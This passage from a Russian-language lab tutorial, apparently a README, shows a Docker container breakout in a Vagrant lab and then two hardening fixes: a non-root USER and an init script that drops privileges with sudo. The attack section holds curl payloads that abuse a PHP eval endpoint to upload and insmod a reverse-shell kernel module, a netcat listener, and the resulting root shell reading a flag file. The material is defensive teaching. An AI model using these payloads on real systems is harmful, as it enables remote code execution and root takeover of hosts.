абсолютно не умеет 200 | обрабатывать POST аргументы. Поэтому мы сформируем линк в котором в качестве значения аргумента `code` укажим программу, 201 | которая будет обрабатывать POST аргументы. Текст программы будет выглядить так: 202 | 203 | ```php 204 | move_uploaded_file($_FILES['shell']['tmp_name'], 'reverse-shell.ko'); 205 | ``` 206 | 207 | Произведем urlencoding этой строки и выполним получившийся запрос: 208 | 209 | ``` 210 | vagrant@hacker:~$ curl -v -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B \ 211 | -F 'shell=@reverse-shell.ko' 212 | ``` 213 | 214 | Откроем ещё один терминал на хосте `hacker` и запустим на нем netcat в режиме ожидания соединения: 215 | 216 | ``` 217 | $ vagrant ssh hacker 218 | vagrant@hacker:~$ nc -vnlp 4444 219 | listening on [any] 4444 ... 220 | ``` 221 | 222 | Теперь загрузим модуль: 223 | 224 | ``` 225 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('insmod reverse-shell.ko');" 226 |

Hello world!

227 |
228 | ``` 229 | 230 | При этом во втором окне, там где мы запустили netcat, мы получим привилегированный shell на хостовой системе `victim`: 231 | 232 | ``` 233 | vagrant@hacker:~$ nc -vnlp 4444 234 | listening on [any] 4444 ... 235 | connect to [192.168.56.5] from (UNKNOWN) [192.168.56.4] 39060 236 | bash: cannot set terminal process group (-1): Inappropriate ioctl for device 237 | bash: no job control in this shell 238 | root@victim:/# id 239 | id 240 | uid=0(root) gid=0(root) groups=0(root) 241 | root@victim:/# cat /home/vagrant/FLAG 242 | cat /home/vagrant/FLAG 243 | WAS HACKED 244 | ``` 245 | 246 | ## Solution I 247 | 248 | Самым простым способом решения проблемы является запуск из под не привилегированного пользователя. Для реализации этого 249 | подхода на хосте `victim` откройте Dockerfile и добавим в него строку `USER 1000`: 250 | 251 | ``` 252 | $ vagrant ssh victim 253 | vagrant@victim:~$ cd /vagrant/victim/ 254 | vagrant@victim:/vagrant/victim$ docker-compose stop 255 | Stopping victim_webapp_1 ... done 256 | vagrant@victim:/vagrant/victim$ nano Dockerfile 257 | ... 258 | USER 1000 259 | ... 260 | 261 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d 262 | Building webapp 263 | Step 1/5 : FROM php:7.4-cli 264 | ---> 639632eff06b 265 | Step 2/5 : WORKDIR /app 266 | ---> Using cache 267 | ---> 6cd15b0ede2b 268 | Step 3/5 : USER 1000 269 | ---> Running in 84916b1065ad 270 | Removing intermediate container 84916b1065ad 271 | ---> 07fe5524f58b 272 | Step 4/5 : COPY index.php index.php 273 | ---> 789aa580e832 274 | Step 5/5 : CMD [ "php", "-S", "0.0.0.0:80" ] 275 | ---> Running in fd3e54dd7ef2 276 | Removing intermediate container fd3e54dd7ef2 277 | ---> 3afd0af1371b 278 | 279 | Successfully built 3afd0af1371b 280 | Successfully tagged victim_webapp:latest 281 | Recreating victim_webapp_1 ... done 282 | ``` 283 | 284 | Теперь выполним проверку с хоста `hacker`: 285 | 286 | ``` 287 | $ vagrant ssh hacker 288 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" 289 |

Hello world!

290 | uid=1000 gid=0(root) groups=0(root) 291 |
292 | ``` 293 | 294 | Как мы видим приложение запущено из под пользователя с UID=1000. Тем не менее попробуем установить необходимые пакеты: 295 | 296 | ``` 297 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('apt-get update 2>&1 && apt-get install -y libcap2-bin kmod 2>&1');" 298 |

Hello world!

299 | Reading package lists... 300 | E: List directory /var/lib/apt/lists/partial is missing. - Acquire (13: Permission denied) 301 |
302 | ``` 303 | 304 | Несмотря на то что установить `kmod` не удалось попробуем загрузить модуль 305 | 306 | ``` 307 | vagrant@hacker:~$ cd /vagrant/hacker/ 308 | vagrant@hacker:/vagrant/hacker$ curl -X POST 192.168.56.4/?code=move_uploaded_file%28%24_FILES%5B%27shell%27%5D%5B%27tmp_name%27%5D%2C%20%27reverse-shell.ko%27%29%3B -F 'shell=@reverse-shell.ko' 309 |

Hello world!

310 |
311 | Warning: move_uploaded_file(reverse-shell.ko): failed to open stream: Permission denied in /app/index.php(3) : eval()'d code on line 1
312 |
313 | Warning: move_uploaded_file(): Unable to move '/tmp/phpXpL5E6' to 'reverse-shell.ko' in /app/index.php(3) : eval()'d code on line 1
314 |
315 | ``` 316 | 317 | В лоб загрузить не удалось. Есть возможность попробовать загрузить в папку `tmp`. Но да же после этого выполнить 318 | команду `insmod` не удасться. 319 | 320 | 1. kmod - не установлен и команды `insmod` просто нет 321 | 2. У не привелигированного пользователя нет прав для выполнения этой операции. 322 | 323 | ## Solution II 324 | 325 | Не всегда есть возможность запускать docker-контейнер сразу из под не привилегированного пользователя. Иногда перед 326 | запуском основного приложения необходимо выполнить ряд операций необходимых для его работы. Например: 327 | 328 | - создать директории для логов или изменить их владельца; 329 | - сгенерировать конфигурационные файлы; 330 | - и пр. 331 | 332 | Для выполнения этих функций используются init-скрипт, который копируются в docker-образ во время build и запускается как 333 | `entrypoint`. Чаще всего выполнять этот init-скрипт необходимо из под привилегированного пользователя. А переход к 334 | выполнению основного приложения происходит при помощи команды `exec`. Это необходимо для того что бы процесс с PID=1 335 | продолжил существовать. 336 | 337 | Большинство серверных приложений (Например nginx, apache и тп.) 338 | после запуска мастер-процесса запускает воркеры из под не привилегированного пользователя. К сожалению не все приложения 339 | ведут себя таким образом. 340 | 341 | Для того, что бы реализовать запуск от имени не привилегированного пользователя предлагаю добавить в init-скрипт 342 | конструкцию аналогичную приведённой ниже: 343 | 344 | ``` 345 | #!/bin/sh 346 | 347 | 348 | 349 | useradd -M -u 1000 -s /usr/sbin/nologin web 350 | 351 | exec sudo -u web "$@" 352 | ``` 353 | 354 | Для реализации этого метода нам необходимо добавить в образ команду 355 | `sudo`. 356 | 357 | Теперь зайдём на хост `victim` и отредактируем `Dockerfile` 358 | добавим в него следующие строки: 359 | 360 | ``` 361 | $ vagrant ssh victim 362 | vagrant@victim:~$ cd /vagrant/victim/ 363 | vagrant@victim:/vagrant/victim$ docker-compose stop 364 | Stopping victim_webapp_1 ... done 365 | vagrant@victim:/vagrant/victim$ nano Dockerfile 366 | ... 367 | RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* 368 | COPY init /usr/local/bin/ 369 | ENTRYPOINT ["/usr/local/bin/init"] 370 | ... 371 | 372 | ``` 373 | 374 | Теперь вновь запустим docker-compose: 375 | 376 | ``` 377 | vagrant@victim:/vagrant/victim$ docker-compose up --build -d 378 | Building webapp 379 | Step 1/7 : FROM php:7.4-cli 380 | ---> 639632eff06b 381 | Step 2/7 : WORKDIR /app 382 | ---> Using cache 383 | ---> 6cd15b0ede2b 384 | Step 3/7 : COPY index.php index.php 385 | ---> Using cache 386 | ---> 5dca7eea1c20 387 | Step 4/7 : RUN apt-get update && apt-get install -y sudo && rm -rf /var/lib/apt/lists/* 388 | ---> Using cache 389 | ---> 2c7e7373d41d 390 | Step 5/7 : COPY init /usr/local/bin/ 391 | ---> 39176282c378 392 | Step 6/7 : ENTRYPOINT ["/usr/local/bin/init"] 393 | ---> Running in e91eff9f90d6 394 | Removing intermediate container e91eff9f90d6 395 | ---> 74aaf39f199d 396 | Step 7/7 : CMD [ "/usr/local/bin/php", "-S", "0.0.0.0:8080" ] 397 | ---> Running in f8f0f773dcb0 398 | Removing intermediate container f8f0f773dcb0 399 | ---> 830927363205 400 | 401 | Successfully built 830927363205 402 | Successfully tagged victim_webapp:latest 403 | Recreating victim_webapp_1 ... done 404 | ``` 405 | 406 | Зайдём на хост `hacker` и проверим из под какого пользователя запущен наш web-сервер: 407 | 408 | ``` 409 | vagrant@hacker:~$ curl -G 192.168.56.4 --data-urlencode "code=system('id');" 410 |

Hello world!

411 | uid=1000(web) gid=1000(web) groups=1000(web) 412 |
413 | ``` 414 | 415 | Недостатком данного способа является: 416 | 417 | - Необходимость добавления sudo в docker-образ 418 | - В результате работы конструкции `exec sudo` создаётся два процесса. Так как `sudo` работает через fork: 419 | 420 | ``` 421 | ps aux 422 | USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 423 | root 1 0.0 0.4 6936 2224 ? Ss 16:24 0:00 sudo -u web /usr/local/bin/php -S 0.0.0.0:8080 424 | web 13 0.0 3.8 80160 18840 ? S 16:24 0:00 /usr/local/bin/php -S 0.0.0.0:8080 425 | ``` 426 | 427 | ## links 428 | 429 | - https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host 430 | - https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd 431 | --------------------------------------------------------------------------------